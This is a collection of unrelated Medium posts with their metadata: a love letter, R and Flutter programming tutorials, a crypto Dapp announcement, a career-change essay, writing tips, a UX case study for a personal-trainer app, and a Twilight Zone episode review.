The reason I cry most of times we see each other is that I’m genuinely afraid of my feelings, cause I genuinely love you yet I genuinely know we might not last. If everything happens for a reason I’m sure we must have met each other because it was needed; you saw that ad, I sign up on that website, you found me, I didn’t avoid you. You say I’m healing you while I’m pretty sure you’re helping me to reach my better version. We were meant to be. It was not some other one in some other circunstances, it was you and it was me. It was our insecurities, our barriers and our needy for someone. It was us after all those bad things. It was us when we most needed each other.
Amor meu, what I want to tell you is something I already said, is something I’ll be forever saying. I’m grateful. I’m grateful for met you. I’m grateful for the amount things you already changed in my life. I’m grateful I can just sit here and watch you sleep like a child while I write some nice things about you. I’m grateful because I didn’t expect for love to come, and I didn’t expect it would be that gorgeous. I’m grateful because it is you instead of anyone else. | https://medium.com/@abelh/letter-for-you-bc20f693e782 | [] | 2019-10-30 23:53:39.858000+00:00 | ['Love Letters'] |
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Getting Started With R — 1. This series is intended for R beginners… | T his series is intended for R beginners who are looking for a quick introduction to the basics of R. It covers the fundamentals of R that includes data types, control structures, loops, functions, and advanced data structures. If you are already familiar with these topics and looking for a comprehensive introduction to all important topics in statistics and machine learning using R. Kindly start off with the following series which discusses all necessary topics related to data science. Many Ways of Reading Data Into R — 1 The contents are inspired by a couple of books that I got introduced during my IIM-B days. R for Everyone — Jared P. Lander Practical Data Science with R — Nina Zumel & John Mount All the code blocks discussed in the article are present in the form of R markdown in the Github link. I hope it helps and let’s get started !!!!!!!
R is a powerful tool for all manner of calculations, data manipulation, and scientific computations. Before getting to the complex operations possible in R we must start with the basics. Like most languages, R has its share of mathematical capability, variables, functions and data types.
Basic Math
Being a statistical programming language, R can certainly be used to do basic math and that is where we will start. We begin with the “hello, world!” of basic math: 1 + 1. In the console, there is a right angle bracket (>) where code should be entered. Let us directly try a little bit of complex operation as an example.
(4 * 6) + 5
These follow the basic order of operations: Parenthesis, Exponents, Multiplication, Division, Addition and Subtraction (PEMDAS). This means operations inside parentheses take priority over other operations. Next on the priority list is exponentiation. After that, multiplication and division are performed, followed by addition and subtraction.
So far we have put white space in between each operator, such as * and /. This is not necessary but is encouraged as a good coding practice.
Variables
Variables are an integral part of any programming language and R offers a great deal of flexibility. Unlike statically typed languages such as C++, R does not require variable types to be declared. A variable can take on any available data type. It can also hold any R object such as a function, the result of an analysis or a plot. A single variable can at one point held a number, then later hold a character and then later a number again.
There are a number of ways to assign a value to a variable, and again, this does not depend on the type of value being assigned. The valid assignment operators are <- and = , with the first being preferred. For example, let’s save 2 to the variable x and 5 to the variable y . The arrow operator can also point in the other direction.
x <- 2
y = 5
3 -> z
The assignment operation can be used successively to assign value to multiple variables simultaneously.
a <- b <- 7
A more laborious, though sometimes necessary, way to assign variables is to use the assign function.
assign(“j”, 4)
Variable names can contain any combination of alphanumeric characters along with periods (.) and underscores (_) . However, they cannot start with a number or an underscore.
The most common form of assignment in the R community is the left arrow (<-) , which may seem awkward to use at first but eventually becomes second nature. It even seems to make sense, as the variable is sort of pointing to its value. There is also a particularly nice benefit for people coming from languages like SQL, where a single equal sign (=) tests for equality.
It is generally considered the best practice to use actual names, usually nouns, for variables instead of single letters. This provides more information to the person reading the code. This is seen throughout this book.
For various reasons, a variable may need to be removed. This is easily done using remove or its shortcut rm.
rm(j)
This frees up memory so that R can store more objects, although it does not necessarily free up memory for the operating system. To guarantee that, use gc , which performs garbage collection, releasing unused memory to the operating system. R automatically does garbage collection periodically, so this function is not essential.
Data Types
There are numerous data types in R that store various kinds of data. The four main types of data most likely to be used are numeric , character (string), Date/POSIXct (time-based) and logical (TRUE/FALSE). The type of data contained in a variable is checked with the class function
class(x)
Numeric Data
As expected, R excels at running numbers, so numeric data is the most common type in R. The most commonly used numeric data is numeric . This is similar to a float or double in other languages. It handles integers and decimals, both positive and negative, and of course, zero. A numeric value stored in a variable is automatically assumed to be numeric. Testing whether a variable is numeric is done with the function is.numeric .
is.numeric(x)
Another important, if less frequently used, the type is integer . As the name implies this is for whole numbers only, no decimals. To set an integer to a variable it is necessary to append the value with an L . As with checking for a numeric, the is.integer function is used.
i <- 5L
is.integer(i)
Do note that, even though i is an integer, it will also pass a numeric check. R nicely promotes integers to numeric when needed. This is obvious when multiplying an integer by a numeric, but importantly it works when dividing an integer by another integer , resulting in a decimal number.
Character Data
Even though it is not explicitly mathematical, the character (string) data type is very common in statistical analysis and must be handled with care. R has two primary ways of handling character data: character and factor . While they may seem similar on the surface, they are treated quite differently.
x <- "data"
y <- factor("data")
Notice that x contains the word “data” encapsulated in quotes, while y has the word “data” without quotes and the second line of information about the levels of y . We will see more about it when we discuss Vectors .
Characters are case sensitive, so “Data” is different from “data” or “DATA”. To find the length of a character (or numeric ) use the nchar function. But this will not work for factor data as seen below.
nchar(x)
nchar(y)
Dates Type
Dealing with dates and times can be difficult in any language, and to further complicate matters R has numerous different types of dates. The most useful are Date and POSIXct . Date stores just a date while POSIXct stores a date and time. Both objects are actually represented as the number of days (Date) or seconds (POSIXct) since January 1, 1970.
date1 <- as.Date("2012-06-28")
date1
date2 <- as.POSIXct("2012-06-28 17:42")
date2
Easier manipulation of date and time objects can be accomplished using the lubridate and chron packages. Using functions such as as.numeric or as.Date does not merely change the formatting of an object but actually changes the underlying type.
Logical Type
Logicals are a way of representing data that can be either TRUE or FALSE . Numerically, TRUE is the same as 1 and FALSE is the same as 0. So TRUE ∗ 5 equals 5 while FALSE * 5 equals 0.
Similar to other types, logical have their own test, using the is.logical function.
k <- TRUE
class(k)
is.logical(k)
R provides T and F as shortcuts for TRUE and FALSE , respectively, but it is best practice not to use them, as they are simply variables storing the values TRUE and FALSE and can be overwritten, which can cause a great deal of frustration. Logical can result from comparing two numbers, or characters.
Vectors
A vector is a collection of elements, all of the same type. For instance, c(1, 3, 2, 1, 5) is a vector consisting of the numbers 1, 3, 2, 1, 5, in that order. Similarly, c(“R”, “Excel”, “SAS”, “Excel”) is a vector of the character elements, “R”, “Excel”, “SAS”, and “Excel”. A vector cannot be of mixed type.
Vectors play a crucial, and helpful, role in R. More than being simple containers, vectors in R are special in that R is a vectorized language. That means operations are applied to each element of the vector automatically, without the need to loop through the vector. This is a powerful concept that may seem foreign to people coming from other languages, but it is one of the greatest things about R.
Vectors do not have a dimension, meaning there is no such thing as a column vector or row vector. These vectors are not like the mathematical vector, where there is a difference between row and column orientation.
The most common way to create a vector is with c . The “c” stands for combine because multiple elements are being combined into a vector.
x <- c(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
Now that we have a vector of the first ten numbers, we might want to multiply each element by 3. In R this is a simple operation using just the multiplication operator (*) .
x*3
No loops are necessary. Addition , subtraction and division are just as easy. This also works for any number of operations.
Earlier we created a vector of the first ten numbers using the c function, which creates a vector. A shortcut is the : operator, which generates a sequence of consecutive numbers, in either direction.
c(1:10)
Vector operations can be extended even further. Let’s say we have two vectors of equal length. Each of the corresponding elements can be operated on together.
x <- 1:10
y <- -5:4 ## Add them
x+y
Things get a little more complicated when operating on two vectors of unequal length. The shorter vector gets recycled — that is, its elements are repeated, in order, until they have been matched up with every element of the longer vector. If the longer one is not a multiple of the shorter one, a warning is given.
x + c(1, 2)
x + c(1, 2, 3)
Comparisons also work on vectors. Here the result is a vector of the same length containing TRUE or FALSE for each element.
x <= 5
To test whether all the resulting elements are TRUE , use the all function. Similarly, the any function checks whether any element is TRUE .
x <- 10:1
y <- -4:5 ## Checking any and all
any(x < y)
all(x < y)
Accessing individual elements of a vector is done using square brackets ([ ]) . The first element of x is retrieved by typing x[1] , the first two elements by x[1:2] and nonconsecutive elements by x[c(1, 4)] .
x[c(1, 4)]
This works for all types of vectors whether they are numeric , logical , character and so forth. It is possible to give names to a vector either during creation or after the fact.
c(One="a", Two="y", Last="r")
Factor Vectors
Factors are an important concept in R, especially when building models. Let’s create a simple vector of text data that has a few repeats. We will start with the vector q we created earlier and add some elements to it.
q2 <- c("Hockey", "Lacrosse", "Hockey", "Water Polo", "Hockey", "Lacrosse")
q2Factor <- as.factor(q2)
q2Factor
Notice that after printing out every element of q2Factor , R also prints the levels of q2Factor . The levels of a factor are the unique values of that factor variable. Technically, R is giving each unique value of a factor a unique integer, tying it back to the character representation. This can be seen with as.numeric .
as.numeric(q2Factor)
In ordinary factors the order of the levels does not matter and one level is no different from another. Sometimes, however, it is important to understand the order of a factor, such as when coding education levels. Setting the ordered argument to TRUE creates an ordered factor with the order given in the levels argument.
factor(x=c("High School", "College", "Masters", "Doctorate"), levels=c("High School", "College", "Masters", "Doctorate"), ordered=TRUE)
Factors can drastically reduce the size of the variable because they are storing only the unique values, but they can cause headaches if not used properly.
Missing Data — NA vs NULL
Missing data plays a critical role in both statistics and computing, and R has two types of missing data, NA and NULL . While they are similar, they behave differently and that difference needs attention.
Often we will have data that has missing values for any number of reasons. Statistical programs use various techniques to represent missing data such as a dash , a period or even the number 99 . R uses NA . NA will often be seen as just another element of a vector. is.na tests each element of a vector for missingness .
z <- c(1, 2, NA, 8, 3, NA, 3)
is.na(z)
NA is entered simply by typing the letters “N” and “A” as if they were normal text. This works for any kind of vector.
Handling missing data is an important part of statistical analysis. There are many techniques depending on field and preference. One popular technique is multiple imputation , which is discussed in detail in Chapter 25 of Andrew Gelman and Jennifer Hill’s book Data Analysis Using Regression and Multilevel/Hierarchical Models, and is implemented in the mi , mice and Amelia packages.
NULL is the absence of anything. It is not exactly missingness , it is nothingness . Functions can sometimes return NULL and their arguments can be NULL . An important difference between NA and NULL is that NULL is atomical and cannot exist within a vector . If used inside a vector , it simply disappears.
z <- c(1, NULL,3)
length(z)
z
Even though it was entered into the vector z , it did not get stored in z . In fact, z is only two elements long. The test for a NULL value is is.null . Since NULL cannot be a part of a vector, is.null is appropriately not vectorized.
Pipes
A new paradigm for calling functions in R is the pipe . The pipe from the magrittr package works by taking the value or object on the left-hand side of the pipe and inserting it into the first argument of the function that is on the right-hand side of the pipe. A simple example would be using a pipe to feed x to the mean function.
library(magrittr)
x <- 1:10
x %>% mean
Pipes are most useful when used in a pipeline to chain together a series of function calls. Given a vector z that contains numbers and NAs , we want to find out how many NAs are present. Traditionally, this would be done by nesting functions.
z <- c(1, 2, NA, 8, 3, NA, 3)
sum(is.na(z)) ## Using Pipes
z %>% is.na %>% sum
Pipes read more naturally in a left-to-right fashion, making the code easier to comprehend. Using pipes is negligibly slower than nesting function calls, though as Hadley Wickham notes, pipes will not be a major bottleneck in code.
When piping an object into a function and not setting any additional arguments, no parentheses are needed. However, if additional arguments are used, then they should be named and included inside the parentheses after the function call. The first argument is not used, as the pipe already inserted the left-hand object into the first argument.
z %>% mean(na.rm=TRUE)
Data come in many types, and R is well equipped to handle them. In addition to basic calculations, R can handle numeric , character and time-based data. One of the nicer parts of working with R, although one that requires a different way of thinking about programming, is vectorization . This allows operating on multiple elements in a vector simultaneously, which leads to faster and more mathematical code. In the next article, we will discuss advanced data structures available in R. | https://medium.com/analytics-vidhya/getting-started-with-r-1-4273a71fb885 | ['Vivekanandan Srinivasan'] | 2019-11-30 07:50:55.362000+00:00 | ['Vectorization', 'Data Type', 'Programming', 'R', 'Missing Values'] |
Keepr3v1.network is going to lauch new Dapp “100% Casino”: 100% profit will be distributed for KPR3 staking forever. | Dear Keepr3v1.network community,
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For example:
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Gifhub:https://github.com/Kpr3V1/Keepr3V1-Token
Website: http://www.keepr3v1.network
Youtube: https://www.youtube.com/watch?v=8l4pzjw45i8&t=15s
Email: [email protected]
. | https://medium.com/@keepr3v1network/keepr3v1-network-is-going-to-lauch-new-dapp-100-casino-100-profit-will-be-distributed-for-d0c17c2f2bb3 | [] | 2020-12-23 09:22:43.325000+00:00 | ['Presales', 'Token', 'Stakeholder', 'Casino', 'Dapps'] |
Staggered GridView In Flutter | Staggered gridview consists of multiple columns with different rows with varying sizes used to display different sizes' images.
Demo Module ::
Demo Output
This video shows how to create a staggered gridview in a flutter and shows how to staggered gridview will work when using the flutter_staggered_grid_view package, and then they will be shown on your device.
Features:
> Configurable cross-axis count or max cross-axis extent like the GridView
Configurable cross-axis count or max cross-axis extent like the GridView > Tiles can have a fixed main-axis extent or a multiple of the cell’s length.
Tiles can have a fixed main-axis extent or a multiple of the cell’s length. > Configurable main-axis and cross-axis margins between tiles.
Configurable main-axis and cross-axis margins between tiles. > SliverStaggeredGrid for using in a CustomScrollView.
SliverStaggeredGrid for using in a CustomScrollView. > Staggered and Spannable grid layouts.
Implementation:
Step 1: Add the dependencies
Add dependencies to pubspec — yaml file.
dependencies:
flutter_staggered_grid_view: ^0.3.3
transparent_image: ^1.0.0
Step 2: Import
import 'package:transparent_image/transparent_image.dart';
import'package:flutter_staggered_grid_view/flutter_staggered_grid_view.dart';
Step 3: Run flutter packages get in the root directory of your app.
Step 4: Enable AndriodX
Add this to your grade.properties file:
org.gradle.jvmargs=-Xmx1536M
android.enableR8=true
android.useAndroidX=true
android.enableJetifier=true
How to implement code in dart file :
You need to implement it in your code respectively:
Create a new dart file called my_home_page.dart inside the lib folder.
List<String> imageList = [
'https://cdn.pixabay.com/photo/2019/03/15/09/49/girl-4056684_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/12/15/16/25/clock-5834193__340.jpg',
'https://cdn.pixabay.com/photo/2020/09/18/19/31/laptop-5582775_960_720.jpg',
'https://media.istockphoto.com/photos/woman-kayaking-in-fjord-in-norway-picture-id1059380230?b=1&k=6&m=1059380230&s=170667a&w=0&h=kA_A_XrhZJjw2bo5jIJ7089-VktFK0h0I4OWDqaac0c=',
'https://cdn.pixabay.com/photo/2019/11/05/00/53/cellular-4602489_960_720.jpg',
'https://cdn.pixabay.com/photo/2017/02/12/10/29/christmas-2059698_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/01/29/17/09/snowboard-4803050_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/02/06/20/01/university-library-4825366_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/11/22/17/28/cat-5767334_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/12/13/16/22/snow-5828736_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/12/09/09/27/women-5816861_960_720.jpg',
];
We will create an imageList URL in a list and define it on a staggered gridview.
StaggeredGridView.countBuilder(
crossAxisCount: 2,
crossAxisSpacing: 10,
mainAxisSpacing: 12,
itemCount: imageList.length,
itemBuilder: (context, index) {
},
),
This constructor fits for staggered grid views with an enormous (or boundless) number of children because the countBuilder is considered distinctly for those children that are really noticeable. Giving a non-null ‘itemCount’ improves the capacity of the StaggeredGridView to gauge the most extreme scroll extent.’itemBuilder’ will be called distinctly with indices greater than or equivalent to zero and not exactly ‘itemCount.’
itemBuilder: (context, index) {
return Container(
decoration: BoxDecoration(
color: Colors.transparent,
borderRadius: BorderRadius.all(
Radius.circular(15))
),
child: ClipRRect(
borderRadius: BorderRadius.all(
Radius.circular(15)),
child: FadeInImage.memoryNetwork(
placeholder: kTransparentImage,
image: imageList[index],fit: BoxFit.cover,
),
),
);
},
In this itemBuilder, we will return a container and add FadeInImage.memoryNetwork(). In this function, we will use placeholder and image. In the placeholder, we will add kTransparentImage.
A simple, transparent image. Represented as a Uint8List, which was originally extracted from the Flutter codebase.
staggeredTileBuilder: (index) {
return StaggeredTile.count(1, index.isEven ? 1.2 : 1.8);
}
Now, we will add staggeredTileBuilder inside StaggeredGridView.countBuilder(). In this builder,we will return StaggererdTile.count(). In this count function user can add integer for crossAxisCellCount and number for mainAxisCellCount.
When we run the application, we ought to get the screen’s output like the underneath screenshot capture.
Final Output
Code File:
import 'package:flutter/material.dart';
import 'package:transparent_image/transparent_image.dart';
import 'package:flutter_staggered_grid_view/flutter_staggered_grid_view.dart';
class MyHomePage extends StatefulWidget {
@override
_MyHomePageState createState() => _MyHomePageState();
}
class _MyHomePageState extends State<MyHomePage> {
List<String> imageList = [
'https://cdn.pixabay.com/photo/2019/03/15/09/49/girl-4056684_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/12/15/16/25/clock-5834193__340.jpg',
'https://cdn.pixabay.com/photo/2020/09/18/19/31/laptop-5582775_960_720.jpg',
'https://media.istockphoto.com/photos/woman-kayaking-in-fjord-in-norway-picture-id1059380230?b=1&k=6&m=1059380230&s=170667a&w=0&h=kA_A_XrhZJjw2bo5jIJ7089-VktFK0h0I4OWDqaac0c=',
'https://cdn.pixabay.com/photo/2019/11/05/00/53/cellular-4602489_960_720.jpg',
'https://cdn.pixabay.com/photo/2017/02/12/10/29/christmas-2059698_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/01/29/17/09/snowboard-4803050_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/02/06/20/01/university-library-4825366_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/11/22/17/28/cat-5767334_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/12/13/16/22/snow-5828736_960_720.jpg',
'https://cdn.pixabay.com/photo/2020/12/09/09/27/women-5816861_960_720.jpg',
];
@override
Widget build(BuildContext context) {
return SafeArea(
child: Scaffold(
backgroundColor: Colors.white24,
appBar: AppBar(
title: Text("Flutter Staggered GridView Demo"),
centerTitle: true,
automaticallyImplyLeading: false,
),
body: Container(
margin: EdgeInsets.all(12),
child: StaggeredGridView.countBuilder(
crossAxisCount: 2,
crossAxisSpacing: 10,
mainAxisSpacing: 12,
itemCount: imageList.length,
itemBuilder: (context, index) {
return Container(
decoration: BoxDecoration(
color: Colors.transparent,
borderRadius: BorderRadius.all(
Radius.circular(15))
),
child: ClipRRect(
borderRadius: BorderRadius.all(
Radius.circular(15)),
child: FadeInImage.memoryNetwork(
placeholder: kTransparentImage,
image: imageList[index],fit: BoxFit.cover,),
),
);
},
staggeredTileBuilder: (index) {
return StaggeredTile.count(1, index.isEven ? 1.2 : 1.8);
}),
),
),
);
}
}
Conclusion :
In the article, I have explained the basic structure of the Staggered GridView in a flutter; you can modify this code according to your choice. This was a small introduction to Staggered GridView On User Interaction from my side, and it’s working using Flutter.
I hope this blog will provide you with sufficient information in Trying up the Staggered GridView in your flutter projects. We will show you what is Staggered GridView, some features using in Staggered GridView, and make a demo program for working Staggered GridView in your flutter applications, So please try it.
❤ ❤ Thanks for reading this article ❤❤ | https://medium.com/flutterdevs/staggered-gridview-in-flutter-661f6667595d | ['Shaiq Khan'] | 2020-12-29 13:35:16.179000+00:00 | ['Flutter App Development', 'Mobile App Development', 'Dart', 'Staggered Gridview', 'Flutter'] |
Changing Careers in your 30's- Sales to Marketing | To say my career trajectory was not planned is an understatement. When you’re in your 20’s hustling your butt off to move up the corporate ladder, the expectation is to make at least 6 figures by the time you’ve hit 30. At least, that was my career plan. By the time 27 hit, I had a great paying job, fantastic benefits, and a growing 401k . Yet, something was not right. Why!! At this point, I worked at the same company for six years with three promotions under my belt, but it was still a struggle to get out of bed and head into the office.
I worked at a cushy sales job at a Top Fortune 500 Company and had a set plan to move from my entry level position into a director level role. On the way up, I started to side eye the marketing department. I networked with the marketing department and made in-person visits to the corporate office which was about an 1 hour away just to make my interest and presence known in the department. I applied to countless positions and tried to leverage existing contacts to get my foot in the door. I even applied at other companies. Let’s just say I did all the the things. It all came down to the same issue. No Marketing Experience.
With digital marketing on the rise, companies were, and still are ,looking for candidates with existing skills sets to bring to the table. I decided at the ripe age of 29 to seek out an internship. Now I’ve actually voiced this option to co-workers who would exclaim incredulously, “You’re too old for an internship!” Talk about a soul-crusher when you’re already feeling lost and defeated. Then, the unexpected happened. I was laid off after 8 years. I can’t lie. It was devastating to lose a steady paycheck, yet, I was relieved that my time there was over. I felt a gigantic weight lift from my shoulders.
So I took the leap. I accepted a non-paid internship which eventually led to a contracted role. Now, financially, I took a hit. I could have applied at a competitor for the same role, but that felt unimaginable and so wrong. I went with my gut and moved forward with the internship. Granted, I accepted an internship in a sales role at a marketing agency. Now, it may seem like I was taking a million steps back, but I had a plan to show my worth and move into a marketing role. I succeeded. I could now revamp my resume with new skill sets. I began applying and soon accepted a new role as an entry level digital marketing analyst at another Marketing Agency. What I learned from my career journey from Sales to Marketing are the multiple titles and varying scopes of work. Title and scope of work changes from company to company, especially within Marketing as no business is alike, so it was important that when I interviewed for positions to highlight day-to-day tasks that matched the role I was applying for which really helped during the application process.
I was still job searching even with my newly acquired marketing job. I know, I know…. The role just did not hit all the marks I was looking for and needed. I needed a role that matched the type of marketing work I wanted to do and offered a salary where I could make a living without struggling. As I was nearing the 2 year mark as a digital marketing analyst, I decided to heavily apply to new marketing roles. I found Linkedin and Craiglist to be the best source in finding open positions. After 3 months of notoriously submitting job applications working through the constant no’s, rejections, unfortunately,…. emails, and countless interviews, I was offered a role as a Growth Marketing Manager at an awesome company. Whoa, whoa, whoa.
I’ll be honest. This was hard. An extremely humbling experience that forced me to deal with inner trauma’s and face the demons holding me back from greatness. If you think this is a bit dramatic, I can assure you that it is not. I had to hit rock bottom, emotionally & physically, to see that I needed to nurture my mental health. I did not realize these mental blocks kept me from killing my interviews and putting forth the best side of myself. I accepted the fact that I needed to consult a therapist and started my sessions. My outlook in life and how I viewed myself changed drastically. I did not expect that to happen, but I am thankful. I exuded a liveliness and confidence in my interviews which led to 2 job offers, 3 if I include the pending promotion at my, then, current role.
When you’re highly focused and determined, always remember that what is meant for you will be yours. There is not one person that will steal it from you. The challenge, the person you need to beat to find IT, is yourself. | https://medium.com/@sandymbrown/changing-careers-in-your-30s-sales-to-marketing-6ce02d61572e | ['Sandy Brown'] | 2020-12-25 23:30:44.140000+00:00 | ['Marketing', 'Job Search', 'Digital Marketing Career', 'Mental Health', 'Career Paths'] |
How to Edit and Review Your Stories Like a Pro? | When I get writing inspirations, I just can’t wait to share them with my readers!
As content creators, we always get desperate for feedback and reactions. Not every writer has the same goals with their content, but most of us want to create an impact.
Sometimes, we want to initiate a change. Sometimes, we want to know how our perceptions have inspired someone. Sometimes, we just want to connect with another writer, sitting in their living room and smiling as they read our stories!
via Freepik
However, rushing to quick publishing can reduce your scope of creating better content that had the potential of connecting you to a broader audience.
It’s not always about grammar or sticking to the writing rules! As they say, ‘ write fearlessly, edit mercilessly,’ they say it for a reason. Needless to say, a large part of your editing is to re-read your contents again and again!
You have created a masterpiece in a trance-like state while you were high on creativity. Now, you need to clear your head.
Relax, unplug, unwind. Come back again and read your story.
via Freepik
Does it sound perfect every time?
Naah! Sometimes you feel the entire idea is trashy! So, you add a few lines and remove some sections. Sometimes, you tweak a few sentences here and there. Occasionally, you might be good to go in one shot. But it’s rare. Your raw idea is like an uncut diamond, and the story you publish is the diamond necklace people buy from the showrooms. It’s a long process, and there are no shortcuts.
After posting your content, review the reactions of your audience or readers. This is very important.
Once a reader told me, ‘why would I read your contents if they make me go through the same kind of pain I have experienced every time?’
I thought about it a lot and realized that I needed to work on my thought process. My writing wasn’t inspiring my readers or making them smile! I wanted to address a lot of causes, but not at the cost of triggering my readers. So, I decided to filter my thought process. It takes a lot of self-work to be a great writer, and you have to be open to growth.
Have you got unexpected views? Great! Don’t just stop there.
Check out who is liking your content and try to think about why they could connect with your writing?
via Business Tutsplus
Start engaging with your audience. Don’t shy away from responding to them by just leaving reactions. Treat them as your friends, and your life as a writer will be sorted!
You will get inspirations, feedback, and ideas- all in a go!
If you want to read my stories, you can visit Womens Web, New York Gal, The Things, or my personal blog, A Rebel’s Diary. | https://medium.com/@arunima-basu7/how-to-edit-and-review-your-stories-like-a-pro-33b2164ca6f4 | ['Arunima Basu'] | 2020-12-26 15:04:35.586000+00:00 | ['Writing Life', 'Editing And Proofreading', 'Audience Engagement', 'Writing Tips', 'Writing'] |
UI/UX Case Study: Personal Trainer Mobile App | Manage and track your client’s progress in one place
The Problem Space
In today’s world, you would think Personal trainers will have an easy way to manage all their clients with all the different tools out there but unfortunately that’s not the case here. As they use multiple tools and services, they begin to lose interest after a while and find it very inconvenient.
Solution
PT Workzone is a Personal Trainer app that will offer all management tools in one place in order for them to begin supporting their clients. They will have the ability to manage and create workout plans for all their clients as well as tracking their progress effortlessly.
Design Process
I decided to follow the Game Thinking framework by Amy Jo Kim and the double diamond design process in developing my final user experience.
The sub-processes include conducting user research to better understand the problem space. Once the problem space was settled I then began creating a solution space for it. This included a lot of brainstorming for ideas/solutions and translating them into sketches, wireframes, and high-fidelity designs. To polish these ideas, Usability Testing was done in order to have a well rounded design.
Hypothesize
When beginning this project I first began creating my product’s hypothesis. This included who I think my early customers are, what need my product fills, and how my product fills that need.
Empathize
Once I created my list of hypotheses, the next step was finding those super fans and begin interviewing them to better understand their behaviors.
Target Audience Description
After conducting user interviews and a survey, I then developed my user base who are specifically personal trainers whose age ranges from 24 to 40 Yrs old. They want to be more efficient and have a system that provides all tools at their disposal in one place.
Three personas were then created; 1 primary and 2 secondary. I used this information to help me reference back when going through the design process.
Competitive Analysis
To get a better understanding of what is out there for personal trainer apps, I researched and identified the market competition and followed it up with a competitive analysis on two main applications.
End to End Experience
Developing an experience journey of when, where, and how the user will step through the created experience, gave me a better outside look of how my product was going to be designed.
This 4 stage process focuses on how the users’ needs and goals change over time. Starting from a customer’s experience as a visitor, a newcomer, a regular, and finally an expert.
Learning Loop
A key component of our methodology focuses on the habit building stage also known as the learning loop. This process lays out the main core of the product and which will allow my core users to settle into a regular habit that will keep them engaged.
Information Architecture
Now that I clearly understood the needs of my users, I was able to identify the main tasks and began constructing the framework of the experience. | https://medium.com/ui-ux-case-study-personal-trainer-mobile-app/ui-ux-case-study-personal-trainer-mobile-app-a31786d2400 | ['Jose Gallardo'] | 2020-12-20 06:42:13.805000+00:00 | ['Case Study', 'UX', 'Mobile Apps', 'UI', 'Personal Training'] |
‘The Twilight Zone’: “Not All Men” and the horrors of toxic masculinity | BY CHAUNCEY K. ROBINSON
Taissa Farmiga and Rhea Seehorn in The Twilight Zone episode “Not All Men.”
Originally published at People’s World
Editor’s note: A review and analysis of Jordan Peele’s “The Twilight Zone” episode seven. Spoilers ahead.
“There’s still some good men in the world, so remember that.” — The Twilight Zone
Jordan Peele’s The Twilight Zone is currently airing weekly on the streaming service CBS All Access. After a foray into the literal cosmos in the episode “Six Degrees of Freedom,” we now return to small town USA. Yet, all is not as it seems, as a meteorite might be having dangerous effects on all the men…well, not all men. Episode seven, titled “Not All Men,” uses overt horror to explore the dangers of toxic masculinity, rape culture, and male chauvinism. It’s an in-your-face, unapologetically violent episode, where the monster turns out not to be a deadly creature from outer space, but instead men who are enabled by a system that fosters their toxic behavior.
The episode stars Taissa Farmiga (The Nun), Ike Barinholtz (Blockers), Luke Kirby (Little Woods), Rhea Seehorn (Better Call Saul), and Percy Hynes White (The Gifted). It is directed by Christina Coe (Welcome to the DPRK) and written by Heather Anne Campbell. Farmiga stars as Annie, a young woman who often goes along to get along in life and work, that suddenly finds herself in the midst of what appears to be a deadly epidemic hitting her small town of Newbury after a meteor shower. It seems that fragments of the meteorites have gotten into the water and are turning the men into rage-filled homicidal maniacs. Annie and her sister are now in a fight for their lives as they try to survive the night and figure out why only the men are being affected by the strange red rock from outer space.
The episode does well in mixing very plausible situations with the fantastical rage outbreak that overtakes the town of Newbury. Annie leads a simple life as a worker at a medical research company trying to make her way up the corporate ladder among men who often think they know more about her job than she does. She’s dedicated to her craft and often tries to be accommodating in order to be seen as a team player. After a not so pleasant date with the company’s new star employee Dylan (Luke Kirby), where he became aggressive with her after she rebuffed his sexual advances, Annie is left feeling confused and on edge.
This could be seen as a moment that many women experience, but it also happens to be the night of the fateful meteor shower when everything in Newbury changed. In processing why Dylan grew so angry and aggressive on their date, along with seeing other men growing hostile and violent seemingly out of nowhere, Annie concludes that it must be the red meteoroids affecting the men of the town.
Except, it’s not actually.
The relevant and poignant twist in this episode is that although the meteorites inject the men with extreme rage and aggression, they are not completely just victims of this outbreak. All the men have a choice. It turns out that they can opt to fight off the rage if they want, but many do not. Many give into the rage, or seemingly use it as an excuse to ignore common decency and boundaries, thus plunging the town into chaos. The rocks are placebos for the not so undercover aggression and toxic behaviors many of the men already had hints of.
This is one of the few episodes of this season so far where the one-hour length of the story feels justified, as things move quickly. The episode starts out like a romance and quickly turns into a horror story. Farmiga gives Annie a subtle strength that slowly shows through with every deadly encounter with a crazed man in the episode. And although there is no definitive conclusion to the outbreak, aside from the fact that all the men have a choice to give into the rage or fight it, there is a satisfying conclusion to Annie’s character arc, as she makes a clear decision to no longer smile in the face of male aggression and chauvinism.
One major theme in the episode is the insidious nature of rape culture in our society — rape culture being the environment and ways in which society normalize and trivialize sexual assault and abuse. After her date with Dylan, Annie is left confused over why he became aggressive and has to unpack her feelings over being nearly assaulted. Annie even tries to finds ways to excuse Dylan’s behavior, as she places the blame on herself by saying that perhaps she was giving him “mixed signals” on what she wanted. These instances of victim blaming and avoidance are common occurrences in a society that places the burden of sexual assault and harassment on survivors instead of perpetrators.
The second major theme, and showcased as perhaps the most deadly, is the dangerous nature of toxic masculinity and what happens when it is unleashed. The episode does not shy away from the harsh language and violence that the infected men display. Women are repeatedly called “b*tch” by the men, chastised for their choices, and attacked. Shootings occur, people die, and often the men give short speeches beforehand trying to somehow justify their anger.
This justification of violence and terror is also not special to The Twilight Zone, as the story feels symbolic of the very real instances of domestic terror witnessed in our own reality when toxic masculinity runs rampant. From mass shootings to domestic violence, the news is often riddled with instances of men giving into rage that attacks others for the wrongs they think society has done against them.
The episode never explains why the rock only affects men, but it does make plain that all men, in any society, have a choice on whether or not to give into an environment that encourages them to lack empathy or regard for the boundaries of women and others. The title is a play on the often used phrase employed to rebuff arguments regarding toxic masculinity and male chauvinism: “Well, not all men are that way.” And while that may be true, as it is true that “not all” white people are racist, or “not all” police officers engage in police brutality, the fact remains that statistics and patterns exist showing there are systemic issues that enable repeated injustice.
